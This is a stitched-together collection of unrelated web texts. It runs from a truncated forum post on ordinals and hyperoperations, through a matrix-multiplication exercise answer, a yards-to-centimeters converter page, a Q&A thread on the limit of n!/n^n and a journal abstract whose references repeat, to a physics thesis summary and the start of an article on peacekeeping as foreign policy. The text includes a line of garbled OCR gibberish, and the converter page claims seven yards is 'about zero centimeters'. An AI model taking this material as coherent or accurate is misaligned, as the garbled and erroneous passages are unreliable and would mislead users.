Cantors Ordinal number and its relation to speed of growth of functions f(x) as x->oo is mentioned in Conways Book of Numbers page 299. It mentions Infinitary calculus which uses these notions-i have not been able to find a good reference yet how this infinitary calculus is constructed. I thought that since cardinals/ordinals have well developed theoretic bacground up to continium hypothesis, applying them to the speed of growth of hyperoperations may simplify proofs of some basic identities and allow classification of hyperoperations as performing certain transformations of number types if speed is fast enough or within some limits. Idea will be only applicable to certain subsets of reals and other numbers known today , but that will better illuminate differences between these subsets. e.g. why region xe^(1/e) etc., why negative reals can be turned into complex easily while positive can not and in the region
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# -[T> +BN >+Y =-1 >-[8 > -I '(IJ >-zS>+Y *2-[4> +BN > +ZaW "8 +81>+7>IJ 'V{Sn!pEI DNISVTYONI JO JPpIO 341
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What is the largest $k$ such that if you can multiply $3 \times 3$ matrices using $k$ multiplications (not assuming commutativity of multiplication), then you can multiply $n \times n$ matrices in time $o(n^{\lg 7})$? What would the running time of this algorithm be?
Strassens’s algorithm partitions the $n \times n$ matrices into 2 $n/2 \times n/2$ matrices, i.e. it divides the problem into sub-problems of size $n/2$. But the algorithm in question asks for sub-problems of size $n/3$ and in each recursive step it performs $k$ matrix multiplications.
Hence, we can write the following recurrence for the running time:
Using case 1 of the Master theorem, the solution of this recurrence is $T(n) = \Theta(n^{\log_3 k})$.
For $T(n)$ to be $o(n^{\lg 7})$, $n^{\log_3 k}$ must be smaller than $n^{\lg 7}$.
Hence, the largest possible $k$ is 21.
Running time of this algorithm would be $T(n) = \Theta(n^{\log_3 21}) = \Theta(n^{2.77})$.
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# 7 yards in centimeters
## Conversion
7 yards is equivalent to 640.08 centimeters.[1]
## Conversion formula How to convert 7 yards to centimeters?
We know (by definition) that: $1\mathrm{yd}=91.44\mathrm{cm}$
We can set up a proportion to solve for the number of centimeters.
$1 yd 7 yd = 91.44 cm x cm$
Now, we cross multiply to solve for our unknown $x$:
$x\mathrm{cm}=\frac{7\mathrm{yd}}{1\mathrm{yd}}*91.44\mathrm{cm}\to x\mathrm{cm}=640.0799999999999\mathrm{cm}$
Conclusion: $7 yd = 640.0799999999999 cm$
## Conversion in the opposite direction
The inverse of the conversion factor is that 1 centimeter is equal to 0.00156230471191101 times 7 yards.
It can also be expressed as: 7 yards is equal to $\frac{1}{\mathrm{0.00156230471191101}}$ centimeters.
## Approximation
An approximate numerical result would be: seven yards is about zero centimeters, or alternatively, a centimeter is about zero times seven yards.
## Footnotes
[1] The precision is 15 significant digits (fourteen digits to the right of the decimal point).
Results may contain small errors due to the use of floating point arithmetic.
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# Convergence or Divergence of $\left \{\frac{n!}{n^n} \right\}$
Determine whether the sequence is convergent or divergent. If it is divergent, find its limit.
$$\left\{\frac{n!}{n^n} \right\}$$
I tried to write out some of the terms of this sequence, and this is what I concluded:
$$\frac {(1)(2)(3)\ldots(n)}{(n)(n)(n)\ldots(n)} < 1$$
I think the sequence converges to zero, but how can I show this?
• Stirling's formula. – Milly Oct 30 '14 at 4:35
• Question: could one prove that it converges by induction? – daOnlyBG Oct 30 '14 at 4:39
• Have you already studied infinite series? – Timbuc Oct 30 '14 at 4:47
• – Martin Sleziak Aug 11 '17 at 11:42
Hint: If $n$ is even, then half of the fractions $\dfrac{1}{n}, \dfrac{2}{n}, \ldots, \dfrac{n}{n}$ are less than or equal to $\dfrac{1}{2}$ and the other half are less than or equal to $1$. Therefore, $0 \le \dfrac{n!}{n^n} \le \left(\dfrac{1}{2}\right)^{n/2} \cdot 1^{n/2} = \dfrac{1}{2^{n/2}}$.
You can do a similar thing if $n$ is odd.
Hint
$$0< \frac {(1)(2)(3)\ldots(n)}{(n)(n)(n)\ldots(n)} < \frac{1}{n}$$
Put
$$a_n=\frac{n!}{n^n}\implies\frac{a_{n+1}}{a_n}=\frac1{\left(1+\frac1n\right)^n}\xrightarrow[n\to\infty]{}\frac1e<1\implies \sum_{n=1}^\infty\frac{n!}{n^n}\;\;\text{converges}\implies$$
$$\lim_{n\to\infty}\frac{n!}{n^n}=0$$
I'm probably going a little overboard here, but I remember some of the simplifications were confusing to me the first time I learned this. You need to use the ratio test:
$$\lim_{n \to \infty} \left| \frac{a_{n+1}}{a_{n}} \right| = L$$
Where: $$L > 1 \implies \text{Divergent} \\ L < 1 \implies \text{Convergent} \\ L = 1 \implies \text{Inconclusive}$$
Using the ratio test gives:
$$\left| \frac{n!}{n^{n}} \right| = \lim_{n \to \infty} \left| \frac{(n+1)!}{(n+1)^{(n+1)}} \,\cdot\, \frac{n^{n}}{n!} \right|$$
We know that $n! = 1 \cdot 2 \cdot \ldots \cdot n$. $\,$ Therefore: $\, (n+1)! = 1 \cdot 2 \cdot \ldots \cdot n \cdot (n+1)$. If we factor out $(n+1)$ we are left with $(n+1) \cdot n!$. This allows us to cancel out the $n!$ terms. Using this simplification we can say:
$$\lim_{n \to \infty} \left| \frac{(n+1)!}{(n+1)^{(n+1)}} \,\cdot\, \frac{n^{n}}{n!} \right| = \lim_{n \to \infty} \left| \frac{(n+1)\cdot n!}{(n+1)^{(n+1)}} \,\cdot\, \frac{n^{n}}{n!} \right| = \lim_{n \to \infty} \left| \frac{(n+1)}{(n+1)^{(n+1)}} \,\cdot\, n^{n} \right|$$
Next, we need to do something with $(n+1)^{(n+1)}$. If we pull out a single $(n + 1)$ term we can reduce the exponent from $(n+1)$ to $n$. This leaves us with $(n+1) \cdot (n+1)^{n}$ , which allows us to cancel out the $(n+1)$ terms. Plugging this in gives us:
$$\lim_{n \to \infty} \left| \frac{(n+1)}{(n+1)^{(n+1)}} \,\cdot\, n^{n} \right| = \lim_{n \to \infty} \left| \frac{(n+1)}{(n+1)\cdot (n+1)^{n}} \,\cdot\, n^{n}\right| = \lim_{n \to \infty} \left| \frac{n^{n}}{(n+1)^{n}} \right|$$
With equal exponents we can combine $n$ and $n+1$ like so:
$$\lim_{n \to \infty} \left| \frac{n^{n}}{(n+1)^{n}} \right| = \lim_{n \to \infty} \left| \left( \frac{n}{n+1} \right)^{n} \right|$$
Now we need to manipulate this result to give us something familiar. If we negate our exponent we are left with:
$$\lim_{n \to \infty} \left| \left( \frac{n}{n+1} \right)^{n} \right| = \lim_{n \to \infty} \left| \left( \frac{n+1}{n} \right)^{-n} \right|$$
Expanding the fraction into 2 fractions and simplifying gives us:
$$\lim_{n \to \infty} \left| \left( \frac{n+1}{n} \right)^{-n} \right| = \lim_{n \to \infty} \left| \left( \frac{n}{n} + \frac{1}{n} \right)^{-n} \right| = \lim_{n \to \infty} \left| \left( 1 + \frac{1}{n} \right)^{-n} \right|$$
Negating our exponent again gives us:
$$\lim_{n \to \infty} \left| \left( 1 + \frac{1}{n} \right)^{-n} \right| = \lim_{n \to \infty} \left| \frac{1}{\left( 1 + \frac{1}{n} \right)^{n}} \right|$$
We know that:
$$\lim_{n \to \infty} \left(1 + \frac{1}{n}\right)^{n} = e$$
Using this we can say that:
$$\lim_{n \to \infty} \left| \frac{1}{\left( 1 + \frac{1}{n} \right)^{n}} \right| = \lim_{n \to \infty} \left| \frac{1}{e} \right| < 1$$
Therefore: $\displaystyle \frac{n!}{n^{n}}$ is convergent
Hope this helps!
• You should note that the ratio test gives convergence if the series $\sum \frac{n!}{n^n}$. Hence, the sequence converges to $0$. – PhoemueX Oct 30 '14 at 6:16
• Ahh, good point. I overlooked the fact that it was a sequence and not a series. – steveclark Oct 30 '14 at 6:19
A very useful formula is Stirling approximation of $n!$ as Milly commented.
One of the simplest form is given by $$n!\approx n^n \sqrt{2 \pi n} e^{-n}$$ $$\frac{n!}{n^n} \approx \sqrt{2 \pi n} e^{-n}$$
I am sure that you can take from here.
• One can solve the problem this way, but I would argue that this is way to advanced for such a simple exercise. – PhoemueX Oct 30 '14 at 6:17
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# American Institute of Mathematical Sciences
May 2015, 35(5): 2041-2051. doi: 10.3934/dcds.2015.35.2041
## Blow-up for the two-component Camassa--Holm system
1 Department of Mathematical Sciences, Norwegian University of Science and Technology, NO-7491 Trondheim
Received June 2014 Revised August 2014 Published December 2014
Following conservative solutions of the two-component Camassa--Holm system $u_t-u_{txx}+3uu_x-2u_xu_{xx}-uu_{xxx}+\rho\rho_x=0$, $\rho_t+(u\rho)_x=0$ along characteristics, we determine if wave breaking occurs in the nearby future or not, for initial data $u_0\in H^1(\mathbb{R})$ and $\rho_0\in L^2(\mathbb{R})$.
Citation: Katrin Grunert. Blow-up for the two-component Camassa--Holm system. Discrete & Continuous Dynamical Systems - A, 2015, 35 (5) : 2041-2051. doi: 10.3934/dcds.2015.35.2041
##### References:
[1] L. Ambrosio, N. Fusco and D. Pallara, Functions of Bounded Variation and Free Discontinuity Problems,, Clarendon Press, (2000). Google Scholar [2] A. Bressan and A. Constantin, Global conservative solutions of the Camassa-Holm equation,, Arch. Ration. Mech. Anal., 183 (2007), 215. doi: 10.1007/s00205-006-0010-z. Google Scholar [3] A. Bressan and A. Constantin, Global dissipative solutions of the Camassa-Holm equation,, Analysis and Applications, 5 (2007), 1. doi: 10.1142/S0219530507000857. Google Scholar [4] R. Camassa and D. D. Holm, An integrable shallow water equation with peaked solitons,, Phys. Rev. Lett., 71 (1993), 1661. doi: 10.1103/PhysRevLett.71.1661. Google Scholar [5] R. M. Chen and Y. Liu, Wave breaking and global existence for a generalized two-component Camassa-Holm system,, Inter. Math Research Notices, (2011), 1381. doi: 10.1093/imrn/rnq118. Google Scholar [6] A. Constantin and R. I. Ivanov, On an integrable two-component Camassa-Holm shallow water system,, Physics Letters A, 372 (2008), 7129. doi: 10.1016/j.physleta.2008.10.050. Google Scholar [7] A. Constantin and D. Lannes, The hydrodynamical relevance of the Camassa-Holm and Degasperis-Procesi equations,, Arch. Ration. Mech. Anal., 192 (2009), 165. doi: 10.1007/s00205-008-0128-2. Google Scholar [8] J. Escher, O. Lechtenfeld and Z. Yin, Well-posedness and blow-up phenomena for the 2-component Camassa-Holm equation,, Discrete Contin. Dyn. Syst., 19 (2007), 493. doi: 10.3934/dcds.2007.19.493. Google Scholar [9] Y. Fu and C. Qu, Well posedness and blow-up solution for a new coupled Camassa-Holm equations with peakons,, J. Math. Phys., 50 (2009). doi: 10.1063/1.3064810. Google Scholar [10] K. Grunert, H. Holden and X. Raynaud, Global solutions for the two-component Camassa-Holm system,, Comm. Partial Differential Equations, 37 (2012), 2245. doi: 10.1080/03605302.2012.683505. Google Scholar [11] K. Grunert, H. Holden and X. Raynaud, Global dissipative solutions of the two-component Camassa-Holm system for initial data with nonvanishing asymptotics,, Nonlinear Anal. Real World Appl., 17 (2014), 203. doi: 10.1016/j.nonrwa.2013.12.001. Google Scholar [12] K. Grunert, H. Holden and X. Raynaud, A continuous interpolation between conservative and dissipative solutions for the Camassa-Holm system,, , (). Google Scholar [13] C. Guan, K. H. Karlsen and Z. Yin, Well-posedness and blow-up phenomena for a modified two-component Camassa-Holm equation,, in Nonlinear Partial Differential Equations and Hyperbolic Wave Phenomena (eds. H. Holden and K. H. Karlsen), 526 (2010), 199. doi: 10.1090/conm/526/10382. Google Scholar [14] C. Guan and Z. Yin, Global weak solutions for a modified two-component Camassa-Holm equation,, Ann. I. H. Poincaré - AN, 28 (2011), 623. doi: 10.1016/j.anihpc.2011.04.003. Google Scholar [15] C. Guan and Z. Yin, Global existence and blow-up phenomena for an integrable two-component Camassa-Holm shallow water system,, J. Differential Equations, 248 (2010), 2003. doi: 10.1016/j.jde.2009.08.002. Google Scholar [16] G. Gui and Y. Liu, On the global existence and wave-breaking criteria for the two-component Camassa-Holm system,, J. Funct. Anal., 258 (2010), 4251. doi: 10.1016/j.jfa.2010.02.008. Google Scholar [17] G. Gui and Y. Liu, On the Cauchy problem for the two-component Camassa-Holm system,, Math. Z., 268 (2011), 45. doi: 10.1007/s00209-009-0660-2. Google Scholar [18] Z. Guo and Y. Zhou, On solutions to a two-component generalized Camassa-Holm equation,, Stud. Appl. Math., 124 (2010), 307. doi: 10.1111/j.1467-9590.2009.00472.x. Google Scholar [19] D. Henry, Infnite propagation speed for a two-component Camassa-Holm equation,, Discrete Contin. Dyn. Syst. Ser. B, 12 (2009), 597. doi: 10.3934/dcdsb.2009.12.597. Google Scholar [20] H. Holden and X. Raynaud, Global conservative solutions for the Camassa-Holm equation - a Lagrangian point of view,, Comm. Partial Differential Equations, 32 (2007), 1511. doi: 10.1080/03605300601088674. Google Scholar [21] H. Holden and X. Raynaud, Dissipative solutions for the Camassa-Holm equation,, Discrete Contin. Dyn. Syst., 24 (2009), 1047. doi: 10.3934/dcds.2009.24.1047. Google Scholar [22] Q. Hu, Global existence and blow-up phenomena for a weakly dissipative 2-component Camassa-Holm system,, Applicable Analysis, 92 (2013), 398. doi: 10.1080/00036811.2011.621893. Google Scholar [23] P. A. Kuz'min, Two-component generalizations of the Camassa-Holm equation,, Math. Notes, 81 (2007), 130. doi: 10.1134/S0001434607010142. Google Scholar [24] W. Tan and Z. Yin, Global dissipative solutions of a modified two-component Camassa-Holm shallow water system,, J. Math. Phys., 52 (2011). doi: 10.1063/1.3562928. Google Scholar [25] M. Yuen, Perturbational blowup solutions to the 2-component Camassa-Holm equations,, J. Math. Anal. Appl., 390 (2012), 596. doi: 10.1016/j.jmaa.2011.05.016. Google Scholar [26] P. Zhang and Y. Liu, Stability of solitary waves and wave-breaking phenomena for the two-component Camassa-Holm system,, Int. Math. Res. Not. IMRN, 11 (2010), 1981. doi: 10.1093/imrn/rnp211. Google Scholar
show all references
##### References:
[1] L. Ambrosio, N. Fusco and D. Pallara, Functions of Bounded Variation and Free Discontinuity Problems,, Clarendon Press, (2000). Google Scholar [2] A. Bressan and A. Constantin, Global conservative solutions of the Camassa-Holm equation,, Arch. Ration. Mech. Anal., 183 (2007), 215. doi: 10.1007/s00205-006-0010-z. Google Scholar [3] A. Bressan and A. Constantin, Global dissipative solutions of the Camassa-Holm equation,, Analysis and Applications, 5 (2007), 1. doi: 10.1142/S0219530507000857. Google Scholar [4] R. Camassa and D. D. Holm, An integrable shallow water equation with peaked solitons,, Phys. Rev. Lett., 71 (1993), 1661. doi: 10.1103/PhysRevLett.71.1661. Google Scholar [5] R. M. Chen and Y. Liu, Wave breaking and global existence for a generalized two-component Camassa-Holm system,, Inter. Math Research Notices, (2011), 1381. doi: 10.1093/imrn/rnq118. Google Scholar [6] A. Constantin and R. I. Ivanov, On an integrable two-component Camassa-Holm shallow water system,, Physics Letters A, 372 (2008), 7129. doi: 10.1016/j.physleta.2008.10.050. Google Scholar [7] A. Constantin and D. Lannes, The hydrodynamical relevance of the Camassa-Holm and Degasperis-Procesi equations,, Arch. Ration. Mech. Anal., 192 (2009), 165. doi: 10.1007/s00205-008-0128-2. Google Scholar [8] J. Escher, O. Lechtenfeld and Z. Yin, Well-posedness and blow-up phenomena for the 2-component Camassa-Holm equation,, Discrete Contin. Dyn. Syst., 19 (2007), 493. doi: 10.3934/dcds.2007.19.493. Google Scholar [9] Y. Fu and C. Qu, Well posedness and blow-up solution for a new coupled Camassa-Holm equations with peakons,, J. Math. Phys., 50 (2009). doi: 10.1063/1.3064810. Google Scholar [10] K. Grunert, H. Holden and X. Raynaud, Global solutions for the two-component Camassa-Holm system,, Comm. Partial Differential Equations, 37 (2012), 2245. doi: 10.1080/03605302.2012.683505. Google Scholar [11] K. Grunert, H. Holden and X. Raynaud, Global dissipative solutions of the two-component Camassa-Holm system for initial data with nonvanishing asymptotics,, Nonlinear Anal. Real World Appl., 17 (2014), 203. doi: 10.1016/j.nonrwa.2013.12.001. Google Scholar [12] K. Grunert, H. Holden and X. Raynaud, A continuous interpolation between conservative and dissipative solutions for the Camassa-Holm system,, , (). Google Scholar [13] C. Guan, K. H. Karlsen and Z. Yin, Well-posedness and blow-up phenomena for a modified two-component Camassa-Holm equation,, in Nonlinear Partial Differential Equations and Hyperbolic Wave Phenomena (eds. H. Holden and K. H. Karlsen), 526 (2010), 199. doi: 10.1090/conm/526/10382. Google Scholar [14] C. Guan and Z. Yin, Global weak solutions for a modified two-component Camassa-Holm equation,, Ann. I. H. Poincaré - AN, 28 (2011), 623. doi: 10.1016/j.anihpc.2011.04.003. Google Scholar [15] C. Guan and Z. Yin, Global existence and blow-up phenomena for an integrable two-component Camassa-Holm shallow water system,, J. Differential Equations, 248 (2010), 2003. doi: 10.1016/j.jde.2009.08.002. Google Scholar [16] G. Gui and Y. Liu, On the global existence and wave-breaking criteria for the two-component Camassa-Holm system,, J. Funct. Anal., 258 (2010), 4251. doi: 10.1016/j.jfa.2010.02.008. Google Scholar [17] G. Gui and Y. Liu, On the Cauchy problem for the two-component Camassa-Holm system,, Math. Z., 268 (2011), 45. doi: 10.1007/s00209-009-0660-2. Google Scholar [18] Z. Guo and Y. Zhou, On solutions to a two-component generalized Camassa-Holm equation,, Stud. Appl. Math., 124 (2010), 307. doi: 10.1111/j.1467-9590.2009.00472.x. Google Scholar [19] D. Henry, Infnite propagation speed for a two-component Camassa-Holm equation,, Discrete Contin. Dyn. Syst. Ser. B, 12 (2009), 597. doi: 10.3934/dcdsb.2009.12.597. Google Scholar [20] H. Holden and X. Raynaud, Global conservative solutions for the Camassa-Holm equation - a Lagrangian point of view,, Comm. Partial Differential Equations, 32 (2007), 1511. doi: 10.1080/03605300601088674. Google Scholar [21] H. Holden and X. Raynaud, Dissipative solutions for the Camassa-Holm equation,, Discrete Contin. Dyn. Syst., 24 (2009), 1047. doi: 10.3934/dcds.2009.24.1047. Google Scholar [22] Q. Hu, Global existence and blow-up phenomena for a weakly dissipative 2-component Camassa-Holm system,, Applicable Analysis, 92 (2013), 398. doi: 10.1080/00036811.2011.621893. Google Scholar [23] P. A. Kuz'min, Two-component generalizations of the Camassa-Holm equation,, Math. Notes, 81 (2007), 130. doi: 10.1134/S0001434607010142. Google Scholar [24] W. Tan and Z. Yin, Global dissipative solutions of a modified two-component Camassa-Holm shallow water system,, J. Math. Phys., 52 (2011). doi: 10.1063/1.3562928. Google Scholar [25] M. Yuen, Perturbational blowup solutions to the 2-component Camassa-Holm equations,, J. Math. Anal. Appl., 390 (2012), 596. doi: 10.1016/j.jmaa.2011.05.016. Google Scholar [26] P. Zhang and Y. Liu, Stability of solitary waves and wave-breaking phenomena for the two-component Camassa-Holm system,, Int. Math. Res. Not. IMRN, 11 (2010), 1981. doi: 10.1093/imrn/rnp211. Google Scholar
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## Plane waves, matrix models and space-time singularities
### Thèse de doctorat : Université de Neuchâtel, 2009 ; Th. 2070.
As the outcome of four years of learning and research in the string theory group at Neuchâtel, this work does not follow a straight line from beginning to end. It is rather to be understood as a melange of several concepts and techniques which could have been arranged in different order and with different emphasis. Consequently, the reader should not feel forced to follow the chosen path, but is... Plus
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Summary
As the outcome of four years of learning and research in the string theory group at Neuchâtel, this work does not follow a straight line from beginning to end. It is rather to be understood as a melange of several concepts and techniques which could have been arranged in different order and with different emphasis. Consequently, the reader should not feel forced to follow the chosen path, but is encouraged to pick out his own topics of interest. Plane waves are one of the major tools employed, introduced in chapter one as the result of the Penrose limit of any space-time as well as interesting gravitational backgrounds themselves. Curved, yet plain enough to allow for many detailed calculations they can be considered the next logical step after flat space. We briefly review many of their attractive features, geometry, symmetry and relevance to light-cone quantisation, stressing the use of Brinkmann coordinates. These are Fermi coordinates on plane waves, and in the publication reprinted at the end of the chapter this notion is exploited to construct the geometric expansion of a space-time about the respective plane wave. Chapter two connects to the first chapter in reviewing the application of the plane wave limit to power-law space-time singularities of the Szekeres-Iyer class, encompassing a wide range of well-known physical solutions. The result is universal: singular homogeneous plane waves, provided that the dominant energy condition (DEC) holds. The following publication builds up on this using functional analytic methods to characterise scalar field probes on the same backgrounds. The criterion of a unique time-evolution classifies singular behaviour of the fields. Departing from the notion of classical space-time, chapter three introduces a new concept: membrane quantisation, a technique to regularise a U(infinity) diffeomorphism subgroup to U(N) matrix theory. We present the basic construction from a new angle detailing gauge-fixing procedure and origin of the gauge field. We also mention the extension to the supersymmetric BMN model and the connection to gauge theory compactification. The fuzzy sphere ground states of the model allow for a fluctuation expansion with complete control over the spectrum. We advocate the use of t'Hooft's R-xi-gauges and explain the implication of their unphysical gauge parameter. The BMN matrix model is embedded into the larger context of string theory dualities and M-theory in chapter four. Following Blau and O'Loughlin, the models of CSV matrix big-bangs are generalised from flat space to singular homogeneous plane waves, setting the stage for a discussion of fuzzy sphere behaviour in regimes of strong and weak coupling. A fair amount of background material has been included in this work to strike the balance between an ample introductory text and a rather terse research paper. The advanced reader might want to skip these parts and go straight to the relevant sections. Notably, this work includes the unabridged reprints of two publications : M. Blau, D. Frank and S.Weiss, "Fermi coordinates and Penrose limits", Class. Quant. Grav. 23 (2006) 3993-4010, hep-th/0603109. in section 1.6, with a further (unpublished) example of the new techniques in 1.7, and, M. Blau, D. Frank and S.Weiss, "Scalar field probes of power-law space-time singularities", JHEP 08 (2006) 011, hep-th/0602207. reprinted in section 2.4. Apart from those publications, chapters three and four contain original work not (yet) published in - section 3.2, mostly a derivation of the membrane matrix model from a perspective complimentary to the usual one found in the literature, - section 3.5, where we employ the $R_\xi$-gauges not used before on the BMN matrix model to detail the physical relevance of the one-loop effective potential, - section 4.3, most prominently the scaling behaviour of the matrix models and - section 4.4 on fuzzy sphere dynamics in matrix big-bangs. As the title tells, plane waves and light-cone gauge, (power-law) space-time singularities and fuzzy spheres in matrix models are the main threads running through this work. In its diversity, the present report surely does reflect an important quality of string theory. After many surprises and indeed revolutions the theory has turned into a broad frame-work that allows for the exploration of a wealth of new ideas and theoretical phenomena to sharpen our tools and senses for the experimental results soon to come.
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# Peacekeeping as a Tool of Foreign Policy
• Maline MeiskeMaline MeiskeDepartment of Politics and International Relations, University of Oxford
• and Andrea RuggeriAndrea RuggeriDepartment of Politics and International Relations, University of Oxford
### Summary
Peacekeeping is one of the principal activities and foreign policy tools implemented by the international community to create and “maintain international peace and security.” Peacekeeping operations have grown in size and scope since the late 1980s and have included traditional peacekeeping, multidimensional peacekeeping, and peace enforcement. Peacekeeping operations pursue far-reaching objectives ranging from humanitarian assistance and the repatriation of refugees, over the disarmament, demobilization, and reintegration of former combatants, to liberal democratic assistance policies. The proliferation and increased scope of peacekeeping operations imply greater significance of peacekeeping as a tool of foreign policy. As such, peacekeeping operations are not deployed solely according to matters of global peace and security, but the deployment of and contribution to peacekeeping operations is increasingly shaped by individual state’s foreign and security policy considerations. An increasing literature studying the supply side of peacekeeping offers a broad range of arguments for why countries contribute to peacekeeping operations referring to realism, liberalism, alliance politics, or domestic politics. Foreign and security policy goals that states try to attain by participating in peacekeeping operations include status enhancement and influence in the international system, the reduction of the threat of conflict diffusion into its own territory and of a potential influx of refugees, or the stabilization of political relations, international trade, and alliance politics. The existing literature leaves some lingering questions and methodological challenges that require further attention. Of particular importance are questions related to the politics of tool choice and the effectiveness of peacekeeping as a tool of foreign policy. Methodological challenges exist regarding data availability and collection as well as the appropriate modelling of cooperation between different organizations conducting peacekeeping operations and the interdependence of countries’ decisions regarding their choice of peacekeeping as a tool of foreign policy.
### Subjects
• World Politics
### Introduction
“Peacekeeping has proven to be one of the most effective tools available to the UN to assist host countries navigate the difficult path from conflict to peace.”
(United Nations, 2017a)
Peacekeeping is often considered as the international community’s primary tool for advancing peace and security. In 1948, the first modern-day peacekeeping operation was deployed by a nascent United Nations as an innovative effort to observe and monitor peace processes. Nearly 70 years later, peace operations, including peacekeeping, peacebuilding, and peace enforcement, are central to the international community’s peace and security endeavors, whose objectives range from humanitarian assistance and the repatriation of refugees, to disarmament, demobilization, and reintegration of former combatants, as well as liberal democratic assistance policies. However, peacekeeping operations are not only deployed to address crises of global peace and security; the decision to deploy and contribute to peacekeeping operations is shaped by individual state’s foreign and security policy considerations. Does the specific conflict influence the potential contributing country’s security and defense concerns? Does the conflict affect the flow of refugees or international trade? Does contribution to the peacekeeping operation advance the contributing state’s international standing? Does it advance its regional role? Peacekeeping is a tool available to governments to pursue their foreign and security policies, and it has grown in significance and comprehensiveness since the late 1980s.
The last three decades have seen a “changed and changing landscape” of international relations and security (see United Nations Secretary-General, 2015, p. 9). The features of this post-Cold War world, including a high prevalence of intrastate wars, the rise of new security actors, and the recognition of new security threats, have led countries to transform their foreign and security policy agendas to become broader and more encompassing, and to redefine their concepts of security. Elevated policy foci include terrorism and organized crime, the proliferation of weapons of mass destruction, refugees and immigration, climate change, regional conflicts, state failure, and even humanitarian catastrophes (see, e.g., European Council, 2003, 2008). Over this period, peacekeeping has evolved into a more comprehensive and frequently applied instrument of crisis management and tool of foreign policy. For this chapter, a tool of foreign policy is defined as an identifiable method through which government action is structured to pursue a state’s goals in the international arena.1 So how does peacekeeping fit into this definition? Can peacekeeping be a tool of foreign policy?
First, a foreign policy tool has common and defining features that make it identifiable and thereby distinguishable from other instruments. Peacekeeping operations, generally, refer to activities that consist of military, police, and/or civilian personnel deployed in a country torn by conflict. These personnel aim to provide security, early peacebuilding, and political support (United Nations, 2017b). Peacekeeping operations, however, encompass a broad spectrum of configurations and can vary in how they provide peace support. As delineated in the 2015 High-Level Independent Panel an Peace Operations (HIPPO) report, these configurations “range from special envoys and mediators; political missions, including peacebuilding missions; regional preventive diplomacy offices; observation missions, including both ceasefire and electoral missions; to small, technical-specialist missions such as electoral support missions; multidisciplinary operations both large and small drawing on civilian, military and police personnel to support peace process implementation, and that have included even transitional authorities with governance functions; as well as advance missions for planning” (United Nations Secretary-General, 2015, p. 20).
Second, governments need to provide tools of foreign policy. While peacekeeping is commonly associated with the United Nations, peacekeeping operations are not limited to actions taken by the United Nations. Regional organizations, security alliances, ad-hoc coalitions, or even single states also implement peacekeeping operations. None of the international, regional, or security organizations have a standing army that they can call upon for peacekeeping operations and many organizations do not have an independent peacekeeping budget. Therefore, national governments must decide whether they want to participate in peacekeeping operations and allocate their resources to this specific tool of foreign policy. This means that each government decides whether they want to (a) give their consent to a peacekeeping operation, (b) make the necessary financial contributions, and (c) deploy military, police, and/or civilian personnel.
Third, foreign policy tools also affect and structure government action, which means that the processes and interactions underlying and generated by these tools are not just temporary but are institutionalized. Peacekeeping is traditionally guided by three principles that structure government action and set peacekeeping apart as a tool for promoting international peace and security: (a) consent of the parties to the conflict to the peacekeeping operation, (b) impartiality of the mission and individual peacekeepers, and (c) nonuse of force except in cases of self-defense and defense of the mandate (United Nations, 2017c). While these three principles have been questioned and stretched in recent years, they still guide the basic rules of engagement.
Finally, tools of foreign policy are employed by states to attain their goals in the international arena. The U.S. Department of State (2003), for instance, lists “achieve peace and security,” “advance sustainable development and global interests,” “promote international understanding,” and “strengthen diplomatic and program capabilities” as its strategic objectives. Peacekeeping is one tool to realize these or parts of these broad goals, particularly international peace, and security. Furthermore, peacekeeping is a useful instrument to tackle more specific security and foreign policy concerns, such as the threat of terrorism, refugee inflows, and conflict diffusion.2
### Evolution of Peacekeeping as a Tool of Foreign Policy
As of December 2016, there are 30 active peacekeeping operations with more than 190,000 personnel in the field (see Figures 1 and 2 below). More than 120 countries contribute uniformed personnel to these operations. UN peacekeeping spending reached approximately $8 billion in 2016/2017 (United Nations, 2017d). While the United Nations is the primary supplier of peacekeeping operations, a range of organizations engage in peacekeeping activities, including the North Atlantic Treaty Organization (NATO), Organization for Security and Co-operation in Europe (OSCE), African Union (AU), European Union (EU), Commonwealth of Independent States (CIS), Economic Community of West African States (ECOWAS), and the Pacific Island Forum (PIF). However, the aforementioned actors have not always been so engaged in the practice of peacekeeping, as the size, prevalence, and scope of peacekeeping have changed substantially since the late 1980s. The descriptive statistics presented in this section illustrate this proliferation of peacekeeping operations, the rise in resources supplied to these operations by individual countries, the increased scope, goals, and functions of peacekeeping operations, and specific contributor-related trends. As such, peacekeeping has increased in relevance as a tool of conflict management for the international community and as a tool of foreign policy for individual countries. Figure 1 shows the number of UN and non-UN peacekeeping operations deployed over time. It is readily apparent that peacekeeping operations have been deployed much more widely since the end of the Cold War. Until around 1990, there were only on average about four UN peacekeeping missions and three non-UN operations deployed each year. The number of UN and non-UN missions combined only reached 11 in 1965. A great surge in UN operations began in 1988, and between 1988 and 1993 alone, the United Nations conducted more peacekeeping operations than in the previous 40 years combined. Non-UN operations followed a similar pattern, and the number of operations increased dramatically after 1992. The high point in the post-Cold War period were an impressive 39 missions in 1999 and again in 2008. This surge in peacekeeping operations can be attributed to both a rise in demand and a rise in supply, linked to the systemic change of the post-Cold War international system (see Bellamy, Williams, & Griffins, 2010, pp. 94–97; Diehl & Balas, 2014, pp. 54–57). On the demand side, the 1990s saw a surge in the number of intrastate conflicts. This rise in ongoing conflicts required additional missions to monitor and implement ceasefires and peace accords. Furthermore, successful missions of the late 1980s and early 1990s increased confidence in the utility and effectiveness of peacekeeping operations as an instrument available to the international community and individual countries. Alongside this increased demand, peacekeeping operations were also more readily supplied in the post-Cold War period. Peacekeeping during the Cold War era was marked by superpower politics and reciprocal blockage in the UN Security Council. The superpowers used the blockage of peacekeeping as an instrument in their foreign policy toolbox. This obstruction came to an end in the late 1980s and gave way to more cooperation in the Security Council and beyond. Additionally, the new post-Cold War order, marked by an accelerated process of globalization, entailed a shift of foreign policy goals toward the promotion of a post-Westphalian conception of stable peace and humanitarian engagement. On top of that, the peace dividend of the early 1990s freed up military resources from traditional defense spending, which could then be deployed in peacekeeping operations. This increase in supply and demand enabled the rise of peacekeeping as a more frequent and potent tool of foreign policy (Bellamy, Williams, & Griffins, 2010, pp. 94–97). Rising numbers in peacekeeping missions engender rising demands in resources, including financial resources, logistics, and personnel. These resources need to be supplied by individual countries to ensure that peacekeeping missions can be launched. Institutional arrangements regarding the supply of these resources differ slightly. For financial contributions to UN missions, UN members are assigned a fixed share of the financial costs of a UN peacekeeping operation, based on a special scale of assessments under an intricate formula taking into account, among other things, the relative economic wealth of a member state and whether it is one of the five permanent members of the UN Security Council (United Nations, 2017e). Most non-UN missions, on the other hand, are financed on a voluntary basis. The basic rule for those peacekeeping missions is that “costs lie where they fall”—contributing countries send their personnel 